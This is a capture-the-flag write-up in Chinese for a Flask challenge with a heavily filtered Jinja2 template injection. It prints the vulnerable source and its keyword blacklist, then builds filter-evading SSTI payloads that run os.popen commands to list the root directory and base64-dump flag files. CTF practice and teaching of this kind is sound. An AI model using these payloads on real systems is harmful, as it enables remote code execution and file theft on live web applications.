共计5163个字符,预计需要花费13分钟才能阅读完成。
题目
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'
if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)
思路
打开该文件发现代码被隐藏了:
用 记事本 打开可以发现隐藏代码,并进行 base64 解密得到源代码:
{{
和 }}
花括号都被禁止了,可以用 {% print() %}
来绕过,而且要以 Follow-your-heart-
开头。因此我们可以先尝试封闭括号:
Follow-your-heart-#}{%print()%}{#
发现没有禁用 request
和 .
,那么我们是不是就能使用 request
里面的属性了呢?但是 "debug", "form", "args", "values", "headers", "json", "stream", "environ", "files", "method", "cookies", "application", 'data', 'url'
这些属性全被禁止了。。。看似密不透风,但是我们发现 pragma
和 mimetype
这两个属性没有禁用,看看其说明:
都是可以传送给服务器的 HTTP Header!这样就可以给服务器传送任何我们想要的字符串。而且我们甚至还能利用 mimetype_params
,传送给服务器数组:
这里我为了方便,直接用 request.args
传参数,虽然 args
被禁用了,但我们可以通过传入 mimetype=args
来绕过,并用 |attr()
来获取属性,最后用数组的 get()
方法来获得值(注意由于引号被过滤,我们只能传入数字,但可以通过 |string
过滤器来将数字转成字符串)。我们传入请求:
http://eci-2ze7jndrdiix83nprigb.cloudeci1.ichunqiu.com:8080/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%print((request|attr(request.mimetype)).get(0|string))%}{%23&0=__init__
并带上 Header:
得到了我们想要的 __init__
!
理论可行,开始实践!首先要绕过中括号 []
,用 __getitem__
绕过 []
,采用以下 Payload:
().__class__.__bases__.__getitem__(0).__subclasses__()
转换成刚才绕过的代码就是:
Follow-your-heart-%23}{%print(((()|attr((request|attr(request.mimetype)).get(0|string))|attr((request|attr(request.mimetype)).get(1|string))|attr((request|attr(request.mimetype)).get(2|string)))(0)|attr((request|attr(request.mimetype)).get(3|string)))())%}{%23
并且传入参数:
然后在下面返回值里面找到我们想要的 <class 'os._wrap_close'>
,在 138
行:
修改以下原始的 payload:
().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(137).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')("__import__('os').popen('ls -al /').read()")
得到最终 payload:
My_ins1de_w0r1d:Follow-your-heart-%23}{%print(((((((()|attr((request|attr(request.mimetype)).get(0|string))|attr((request|attr(request.mimetype)).get(1|string))|attr((request|attr(request.mimetype)).get(2|string)))(0)|attr((request|attr(request.mimetype)).get(3|string)))()|attr((request|attr(request.mimetype)).get(2|string)))(137)|attr((request|attr(request.mimetype)).get(4|string))|attr((request|attr(request.mimetype)).get(5|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(6|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(7|string)))((request|attr(request.mimetype)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:eval
8:__import__('os').popen('ls -al /').read()
这玩意竟然还不是明文的 flag?!将文件转成 base64 编码读取到本地看看?将命令改成 __import__('os').popen('base64 /flag*').read()
。
My_ins1de_w0r1d:Follow-your-heart-%23}{%print(((((((()|attr((request|attr(request.mimetype)).get(0|string))|attr((request|attr(request.mimetype)).get(1|string))|attr((request|attr(request.mimetype)).get(2|string)))(0)|attr((request|attr(request.mimetype)).get(3|string)))()|attr((request|attr(request.mimetype)).get(2|string)))(137)|attr((request|attr(request.mimetype)).get(4|string))|attr((request|attr(request.mimetype)).get(5|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(6|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(7|string)))((request|attr(request.mimetype)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:eval
8:__import__('os').popen('base64 /flag*').read()
将以上这些 base64 代码复制到本地 payload.txt
,并用命令 base64 -d payload.txt > file
将文件解码回来,得到了 wave 文件?!
用 DeepSound 软件解出:
打开 txt 文件得到 flag: